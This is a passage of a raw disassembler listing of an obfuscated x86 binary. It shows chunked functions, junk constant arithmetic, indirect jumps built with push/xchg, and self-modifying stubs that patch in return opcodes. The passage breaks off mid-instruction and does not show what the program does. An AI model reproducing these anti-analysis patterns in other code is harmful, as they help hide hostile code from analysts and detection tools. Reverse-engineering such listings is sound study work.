loc_44292C: ; CODE XREF: y22d6.y.:0044B565j adc edx, esi ; START OF FUNCTION CHUNK FOR sub_44439D loc_44292E: ; CODE XREF: sub_44439D:loc_44B553j xor eax, 57895C0Ch jns loc_44820C shr edx, 1Ah jmp loc_44820A ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_442942: ; CODE XREF: sub_43EC01:loc_449EC0j or eax, 37B7FF82h add eax, 70DAA70Eh rol eax, 16h add eax, 48053DE4h xor eax, 3C63B8D0h call sub_43CA1A mov ds:off_41E170, eax lea eax, loc_4383D5 jmp loc_43EFAC ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- call sub_44E14E ; =============== S U B R O U T I N E ======================================= sub_442978 proc near ; CODE XREF: sub_44A22A-994Bp ; y22d6.y.:0044C0BEj xchg ebx, [esp+0] pop ebx push 559E3902h sub edx, eax jmp loc_43E160 sub_442978 endp ; --------------------------------------------------------------------------- loc_442988: ; CODE XREF: y22d6.y.:004481EAj and edi, edx cdq ; START OF FUNCTION CHUNK FOR sub_44271A loc_44298B: ; CODE XREF: sub_44271A:loc_4481DDj sub ecx, 135FA247h rol ecx, 17h add ecx, 8C6F9545h xchg ecx, [esp+8+var_8] jmp loc_44A640 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4398FF loc_4429A2: ; CODE XREF: sub_4398FF+15j ; y22d6.y.:0044DC50j rol edx, 2 or edx, 0D6789656h add edx, 20C6B8C2h xchg edx, [esp+34h+var_34] jmp sub_44B17B ; END OF FUNCTION CHUNK FOR sub_4398FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44123E loc_4429B9: ; CODE XREF: sub_44123E:loc_439F89j jnz loc_448BBC jmp loc_4465A5 ; END OF FUNCTION CHUNK FOR sub_44123E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438F17 loc_4429C4: ; CODE XREF: sub_438F17+1j mov ebp, esp push ecx mov [ebp-4], eax loc_4429CA: ; CODE XREF: y22d6.y.:0043DDE7j ; sub_448EB6:loc_4490BDj push 68F84612h pop eax loc_4429D0: ; CODE XREF: y22d6.y.:loc_43916Fj sub eax, 9FF17646h jmp loc_4485CC ; END OF FUNCTION CHUNK FOR sub_438F17 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449739 loc_4429DC: ; CODE XREF: sub_449739+9j jmp sub_44C8BF ; END OF FUNCTION CHUNK FOR sub_449739 ; --------------------------------------------------------------------------- loc_4429E1: ; CODE XREF: y22d6.y.:00444B77j jmp loc_449269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4429E6: ; CODE XREF: sub_4432B8-AF62j jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437833 loc_4429EB: ; CODE XREF: sub_437833:loc_43A33Fj mov ebp, esp mov esp, ebp pop ebp mov eax, ds:dword_441968 push offset loc_4440A7 jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_437833 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_442A00: ; CODE XREF: sub_44E5C7:loc_43B6D1j xor edx, 199DC263h add edx, ebp add edx, 0DE180F32h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_44C761 jmp loc_447A42 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- push 0D9A70F91h pop edx and edx, 0C204C32Fh jnz loc_440C2A ; START OF FUNCTION CHUNK FOR sub_438B66 loc_442A31: ; CODE XREF: sub_438B66+FD47j jnz loc_44DB60 loc_442A37: ; CODE XREF: sub_438B66+BD78j ; y22d6.y.:loc_44A5B1j add edx, 891C9A47h add edx, ebp add edx, 0D50FFA93h mov edx, [edx] jmp loc_445A42 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_442A4C: ; CODE XREF: sub_4432B8:loc_43B224j ; y22d6.y.:loc_44492Ej push offset loc_44DEC5 jmp nullsub_263 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_442A56: ; DATA XREF: sub_443BA0+8o jnz loc_43A354 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_442A67: ; CODE XREF: sub_448EB6:loc_442CCEj jmp loc_44BD91 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_442A6C: ; CODE XREF: sub_4385ED+7AD0j add eax, [esp-0Ch+arg_8] adc edx, [esp+4] jmp loc_43E8F5 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- dword_442A78 dd 77E60000h ; DATA XREF: sub_443EF1:loc_4401D6r ; sub_443EF1+5r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_442A7C: ; CODE XREF: y22d6.y.:loc_43D53Dj ; sub_44D7E0+7j jmp loc_440A66 ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_442A81: ; CODE XREF: sub_44B674-199Cj jmp nullsub_174 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- dw 35A0h dd 0B939B26Bh, 46333695h, 63B164B8h, 1E63D300h ; DATA XREF: sub_443EF1:loc_443F06o ; sub_44540D+8A1Bo byte_442A98 db 1 ; DATA XREF: sub_43F501+1D0Dr ; sub_448EB6+21w db 17h, 0F2h, 0AFh dword_442A9C dd 6C8CD16Eh, 633217C6h ; DATA XREF: sub_43F501+1D1Do ; --------------------------------------------------------------------------- fadd dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_44B674 loc_442AA6: ; CODE XREF: sub_44B674-1FDCj jmp loc_43E216 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_442AAB: ; CODE XREF: sub_44B489-76EEj jmp loc_44CE75 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- loc_442AB0: ; CODE XREF: y22d6.y.:00439646j jmp locret_4473AD ; --------------------------------------------------------------------------- db 50h, 0B3h, 96h dword_442AB8 dd 77F50000h ; DATA XREF: sub_43F501:loc_439F7Ar ; sub_448EB6+1Cw ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449956 loc_442ABC: ; CODE XREF: sub_449956+17j jmp loc_43E5FA ; END OF FUNCTION CHUNK FOR sub_449956 ; --------------------------------------------------------------------------- sbb ecx, 554C8121h jmp sub_444865 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_442ACC: ; CODE XREF: sub_449641-B2EFj push eax mov eax, edx xchg eax, [esp+8+var_8] push edi mov edi, eax jmp loc_43879A ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- loc_442ADA: ; CODE XREF: y22d6.y.:0043B8C0j and edx, 51D7648Dh add edx, 0BE809C23h mov [edx], eax xchg eax, [esp] mov edx, eax pop eax jmp loc_43BA8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_442AF3: ; CODE XREF: sub_444427:loc_43CF39j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- loc_442AF5: ; CODE XREF: y22d6.y.:0044D9D2j jmp loc_445E05 ; --------------------------------------------------------------------------- loc_442AFA: ; CODE XREF: y22d6.y.:00443F5Cj jmp nullsub_8 ; =============== S U B R O U T I N E ======================================= sub_442AFF proc near ; CODE XREF: sub_43FBC3-21BBp ; sub_441030+6FACp ... push eax mov eax, ebp push offset loc_437F45 loc_442B07: ; CODE XREF: y22d6.y.:loc_43FEC0j jmp nullsub_50 sub_442AFF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441E5C loc_442B0C: ; CODE XREF: sub_441E5C:loc_43B3BFj add eax, edi pop edi add eax, 0D527F520h mov eax, [eax] push ebx pushf push 0B72EEA3Ah xchg ecx, [esp+4+var_4] jmp loc_43EB58 ; END OF FUNCTION CHUNK FOR sub_441E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BA9E loc_442B26: ; CODE XREF: sub_43BA9E+E3D2j xor eax, 0D0A7F179h add eax, ebp add eax, 0D212F0E3h mov eax, [eax] jmp loc_44D92F ; END OF FUNCTION CHUNK FOR sub_43BA9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_442B3B: ; CODE XREF: sub_439A90:loc_44C538j jnz loc_448F4B rol ebp, 0Bh or eax, 0F9E652F1h loc_442B4A: ; CODE XREF: y22d6.y.:0044AFF9j pushf jmp loc_44E5BA ; END OF FUNCTION CHUNK FOR sub_439A90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_442B50: ; CODE XREF: sub_44D7E0:loc_44BFB4j jz loc_44B5AA ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; START OF FUNCTION CHUNK FOR sub_44AC0F loc_442B56: ; CODE XREF: sub_44AC0F+Bj jmp loc_4390B3 ; END OF FUNCTION CHUNK FOR sub_44AC0F ; --------------------------------------------------------------------------- loc_442B5B: ; CODE XREF: y22d6.y.:00437C0Cj jmp sub_43CA1A ; --------------------------------------------------------------------------- sub eax, 0C0376EDBh or eax, edi sbb edi, 3CC49BA3h jmp loc_4497FF ; --------------------------------------------------------------------------- loc_442B73: ; DATA XREF: y22d6.y.:0044733Do lea eax, nullsub_3 mov byte ptr [eax], 0C3h jmp nullsub_3 ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push edx push esi push 89766669h xchg ebp, [esp] jmp loc_43D07D ; --------------------------------------------------------------------------- loc_442B94: ; CODE XREF: y22d6.y.:0044048Fj jz loc_44339A pushf ; START OF FUNCTION CHUNK FOR sub_439096 loc_442B9B: ; CODE XREF: sub_439096:loc_440482j add edi, 0A27C4B2Fh xor edi, 0B7BB4F5Ch sub eax, edi pop edi mov edx, [esp-4+arg_0] jmp loc_44936B ; END OF FUNCTION CHUNK FOR sub_439096 ; --------------------------------------------------------------------------- sub edx, edi jmp sub_449E26 ; --------------------------------------------------------------------------- mov ecx, 3B9C25E5h jmp sub_444B7C ; --------------------------------------------------------------------------- push eax ror eax, 4 push edi push 8A83B06Dh loc_442BCD: ; CODE XREF: y22d6.y.:0043B6DCj jmp loc_43D0E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_442BD2: ; CODE XREF: sub_4481EF+59EDj popf jmp loc_44B062 ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_442BD8: ; CODE XREF: sub_44B489-2FF3j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_44B062 jmp loc_44CA2E ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- mov edx, 0F75CA70h call sub_44D293 push eax ror eax, 11h push ebx push 21646032h pop ebx jmp loc_43D57C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_442C07: ; CODE XREF: sub_448EB6+202j jmp nullsub_373 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442C0C proc near ; CODE XREF: sub_437F1F+7j ; y22d6.y.:0043AA10p ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004374AE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437AE0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437E49 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043907F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00439BFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AD55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B265 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043C6AD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043DA58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F5DF SIZE 0000002A BYTES ; FUNCTION CHUNK AT 004418E2 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00441C9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442142 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00442EEF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444989 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044545C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00447C6A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044820A SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00449515 SIZE 00000005 BYTES push esi mov esi, ebp xchg esi, [esp+0] mov ebp, esp jmp loc_437AE0 sub_442C0C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_442C19: ; CODE XREF: sub_448C77:loc_445E82j call sub_44A413 mov eax, 0EEE68DF1h push edx push 73BEFBCFh pop edx rol edx, 10h add edx, 4744CB0h xchg edx, [esp+8+var_8] jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- loc_442C3B: ; CODE XREF: y22d6.y.:0043E055j and eax, 0B0A600DDh ; =============== S U B R O U T I N E ======================================= sub_442C41 proc near ; CODE XREF: sub_4380CD+104BFp ; FUNCTION CHUNK AT 00438F79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C3B8 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00440359 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B866 SIZE 00000018 BYTES xchg edi, [esp+0] pop edi mov [ebp-4], eax mov eax, [ebp-4] jmp loc_44B866 sub_442C41 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ror ecx, 0Ah jmp loc_43E6BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D44A loc_442C58: ; CODE XREF: sub_44D44A-11FDFj xor eax, 2BBEDA5h ror eax, 12h mov edx, [esp+0] push eax jmp loc_4463E0 ; END OF FUNCTION CHUNK FOR sub_44D44A ; --------------------------------------------------------------------------- push edx mov edx, ebp call sub_441E1E loc_442C72: ; CODE XREF: y22d6.y.:0043E4D3j ; y22d6.y.:0043E4F1j push offset loc_43CE8C jmp loc_44433A ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440395 loc_442C7D: ; CODE XREF: sub_440395+AB32j jmp loc_44890C ; END OF FUNCTION CHUNK FOR sub_440395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_442C82: ; CODE XREF: sub_448C77+1681j jmp loc_43BDCB ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_442C87: ; CODE XREF: sub_44057E-5DA3j jmp nullsub_241 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_442C8C: ; CODE XREF: y22d6.y.:0044B73Ej sub eax, 903B1EA1h and eax, 0ED2CF5CAh rol eax, 1Ch add eax, 41CA40D4h ; START OF FUNCTION CHUNK FOR sub_43E185 loc_442CA1: ; CODE XREF: sub_43E185:loc_438ABAj ; y22d6.y.:loc_44D874j add eax, ebp push edi push 4A7D38C3h pop edi jmp loc_445933 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_442CAF: ; CODE XREF: sub_444427:loc_44D4EDj mov ecx, edi xchg ecx, [esp+0] mov edi, edx xchg edi, [esp+0] push esi mov esi, ebx xchg esi, [esp+4+var_4] push 491B6255h loc_442CC4: ; CODE XREF: sub_43E5C2:loc_44548Fj ; y22d6.y.:loc_4484D9j jmp loc_44E573 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- loc_442CC9: ; CODE XREF: y22d6.y.:loc_44327Dj call sub_439FCB ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_442CCE: ; CODE XREF: sub_448EB6-2E3Fj jnp loc_442A67 loc_442CD4: ; CODE XREF: sub_448EB6:loc_448F1Fj add esi, 5FBA1500h and esi, 3EBAD9D7h add esi, 0D1FD29CAh xor eax, esi jmp loc_4428A0 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_442CED: ; CODE XREF: sub_44E5C7-8AC4j jnz loc_43E6AC jmp loc_44207B ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- and edx, 5F1BE31Ch jmp sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E38B loc_442D03: ; CODE XREF: sub_44E38B:loc_43ABAEj jge loc_444C82 popf xchg eax, [ebx] jmp loc_44B8B8 ; END OF FUNCTION CHUNK FOR sub_44E38B ; --------------------------------------------------------------------------- loc_442D11: ; DATA XREF: sub_44A595+Co mov dword ptr [ebp-14h], 4 mov eax, [ebp-14h] mov [ebp-4], eax mov eax, [ebp-14h] mov [ebp-0Ch], eax mov eax, [ebp-20h] jmp loc_44DD7B ; --------------------------------------------------------------------------- loc_442D2C: ; CODE XREF: y22d6.y.:0043929Aj jz loc_43B224 jmp loc_44034A ; --------------------------------------------------------------------------- popf jmp loc_43B91F ; --------------------------------------------------------------------------- loc_442D3D: ; DATA XREF: y22d6.y.:004442FCo xchg edx, [esp] call sub_44DA98 loc_442D45: ; CODE XREF: y22d6.y.:00440EECj jmp loc_44D5FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_442D4A: ; CODE XREF: sub_43A6E1+12EBDj cmp edx, 4FB656D8h jmp loc_446DB1 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_442D55: ; CODE XREF: sub_448EB6+3ADEj jnz loc_4394D2 loc_442D5B: ; CODE XREF: sub_44949C+12j jmp loc_43CB17 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_442D60: ; CODE XREF: sub_4450FD-61A1j jmp loc_44AFC9 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- mov [edx], eax jmp loc_4394C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E51C loc_442D6C: ; CODE XREF: sub_44E51C:loc_449443j or esi, 7A9E5D12h cmp esi, 1208CD94h jmp loc_43C855 ; END OF FUNCTION CHUNK FOR sub_44E51C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_442D7D: ; CODE XREF: sub_448EB6:loc_442707j jz loc_439B48 jmp loc_43F83F ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- or ecx, 0DB5771FBh adc esi, eax jmp sub_44D313 ; --------------------------------------------------------------------------- loc_442D95: ; CODE XREF: y22d6.y.:loc_43AA73j jnz loc_444D75 jmp loc_442E96 ; --------------------------------------------------------------------------- loc_442DA0: ; CODE XREF: y22d6.y.:0043B54Ej jnz loc_43D717 ; =============== S U B R O U T I N E ======================================= sub_442DA6 proc near ; CODE XREF: sub_444581-47E1p ; FUNCTION CHUNK AT 0043F215 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044BAD8 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push eax push eax mov edx, eax jmp loc_44BAD8 sub_442DA6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_442DB3: ; CODE XREF: y22d6.y.:0043881Aj jp loc_43B84B ; =============== S U B R O U T I N E ======================================= sub_442DB9 proc near ; CODE XREF: y22d6.y.:0044CD5Bp ; FUNCTION CHUNK AT 0044C5D1 SIZE 0000000A BYTES xchg esi, [esp+0] pop esi mov [ebp-4], eax xor eax, eax jmp loc_44C5D1 sub_442DB9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_442DC7: ; CODE XREF: sub_43B7D4+9130j xchg ebp, ecx jnb loc_44A0EB test esi, ecx jmp loc_44DE73 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- loc_442DD6: ; CODE XREF: y22d6.y.:loc_438949j call sub_43CA1A mov ds:dword_41E084, eax lea eax, nullsub_332 mov byte ptr [eax], 0C3h jmp nullsub_332 ; --------------------------------------------------------------------------- loc_442DEF: ; CODE XREF: y22d6.y.:0043F394j adc ecx, 91EB1F05h loc_442DF5: ; CODE XREF: y22d6.y.:loc_43F380j push offset loc_43D85A jmp loc_44812E ; =============== S U B R O U T I N E ======================================= sub_442DFF proc near ; CODE XREF: y22d6.y.:004439A0j ; sub_44C7F1+12p xchg edx, [esp+0] pop edx mov ds:off_41E07C, eax lea eax, sub_43BC16 mov byte ptr [eax], 0C3h jmp sub_43BC16 sub_442DFF endp ; sp-analysis failed ; --------------------------------------------------------------------------- shl eax, 18h jmp loc_44304C ; =============== S U B R O U T I N E ======================================= sub_442E1F proc near ; CODE XREF: sub_43C3D7:loc_43A84Fp ; y22d6.y.:00441AAFj ; FUNCTION CHUNK AT 0043B39C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B866 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043C588 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043CE3F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044C753 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp+8] jmp loc_43C588 sub_442E1F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_442E39: ; CODE XREF: sub_4416F3+B934j jz loc_43BF27 jmp loc_4370B4 ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_442E44: ; CODE XREF: sub_437B43:loc_44A42Dj mov eax, 99B20D50h call sub_43CA1A push edx push 0D171A4BFh pop edx xor edx, 0CF8D1AA0h add edx, 0E1452249h jmp loc_440A61 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4421D3 loc_442E66: ; CODE XREF: sub_4421D3+Fj mov ecx, eax call sub_43CF9E ; END OF FUNCTION CHUNK FOR sub_4421D3 ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_442E6D: ; CODE XREF: sub_44BBBA:loc_43B6A0j mov eax, [ebp-8] loc_442E70: ; CODE XREF: sub_43F422+D1D8j shl eax, 0Fh push offset sub_43E7F3 jmp nullsub_190 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; =============== S U B R O U T I N E ======================================= sub_442E7D proc near ; CODE XREF: y22d6.y.:0043E14Bj ; sub_43A9C6:loc_4409B9p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi add ecx, 134AF0A5h xchg ecx, [esp-4+arg_0] jmp sub_44CDB7 sub_442E7D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_357. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D063 loc_442E90: ; CODE XREF: sub_44D063-2E3j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_44D063 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_442E96: ; CODE XREF: y22d6.y.:00442D9Bj jmp loc_44DEB8 ; --------------------------------------------------------------------------- loc_442E9B: ; DATA XREF: y22d6.y.:loc_43D813o lea eax, sub_43E0A9 mov byte ptr [eax], 0C3h jmp loc_4459DD ; =============== S U B R O U T I N E ======================================= sub_442EA9 proc near ; CODE XREF: sub_403249+2CBp ; sub_416A1E+40p ... call sub_44AA49 loc_442EAE: ; CODE XREF: y22d6.y.:0043C0E5j jmp nullsub_51 sub_442EA9 endp ; --------------------------------------------------------------------------- test edx, eax jmp loc_44B037 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_442EBA: ; CODE XREF: sub_4432B8:loc_43F299j mov edx, [ebp+8] mov [edx-8], eax jmp loc_4419FE ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_442EC5: ; CODE XREF: y22d6.y.:0044D9FCj cmp dword ptr [ebp-10h], 2 call sub_4400EF ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_442ECE: ; CODE XREF: sub_43B7D4+895j jmp loc_445963 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_442ED3: ; CODE XREF: sub_440494:loc_43DAD9j jge loc_44DC7D loc_442ED9: ; CODE XREF: sub_448A59+4384j jmp loc_444193 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- loc_442EDE: ; CODE XREF: y22d6.y.:004405CFj jmp locret_440070 ; --------------------------------------------------------------------------- and edi, 13D5BC7h jmp loc_44DC78 ; --------------------------------------------------------------------------- locret_442EEE: ; CODE XREF: y22d6.y.:0043F7C3j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_442EEF: ; CODE XREF: sub_442C0C-3608j jmp locret_448FED ; END OF FUNCTION CHUNK FOR sub_442C0C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_318. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_442EF5: ; CODE XREF: y22d6.y.:0044CAB6j jmp loc_44BC96 ; --------------------------------------------------------------------------- dw 8A0Fh dd 20D4h, 0FF9EA1E9h db 0FFh ; --------------------------------------------------------------------------- loc_442F05: ; CODE XREF: y22d6.y.:loc_43E339j pop ebx push offset sub_440543 jmp locret_449D5D ; --------------------------------------------------------------------------- loc_442F10: ; CODE XREF: y22d6.y.:0043FA12j mov [esi], eax call sub_43E81B loc_442F17: ; CODE XREF: y22d6.y.:0044D356j jmp sub_44ABDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A095 loc_442F1C: ; CODE XREF: sub_44A095+1762j jmp loc_43DD34 ; END OF FUNCTION CHUNK FOR sub_44A095 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_442F21: ; CODE XREF: sub_44BCC2-494Bj or esi, ecx push ebx shr edx, 11h loc_442F27: ; CODE XREF: sub_44BCC2:loc_43B55Bj mov eax, [ebp-108h] mov byte ptr [ebp+eax-100h], 0 jmp loc_441D7E ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44798E loc_442F3B: ; CODE XREF: sub_44798E+Dj jmp loc_43B73B ; END OF FUNCTION CHUNK FOR sub_44798E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_442F40: ; CODE XREF: sub_439051+8324j jmp loc_439A2D ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- loc_442F45: ; CODE XREF: y22d6.y.:00444103j and ebx, eax xchg edx, ebp loc_442F49: ; CODE XREF: y22d6.y.:loc_44DD53j push 0D04A0EDh pop eax jmp loc_44912C ; --------------------------------------------------------------------------- loc_442F54: ; CODE XREF: y22d6.y.:loc_4371D1j ; y22d6.y.:004453CCj xchg edi, [ebp+0] loc_442F57: ; CODE XREF: y22d6.y.:loc_4453B9j sub esi, 85D1096Bh test esi, 20000h jmp loc_444FC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_442F68: ; CODE XREF: sub_43FAC6:loc_43FF56j jnz loc_4458D2 jmp loc_44DCB2 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_442F73: ; CODE XREF: y22d6.y.:00448597j cmp edx, 8E55A005h jmp loc_447347 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_442F7E: ; CODE XREF: sub_4475B3:loc_448CF9j mov eax, [esp-8+arg_4] push edx loc_442F82: ; CODE XREF: sub_4432B8+8DF1j push ecx push 0F34B3ABBh jmp loc_444228 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AF5B loc_442F8D: ; CODE XREF: sub_43AF5B+8A29j cmp esi, ecx jmp 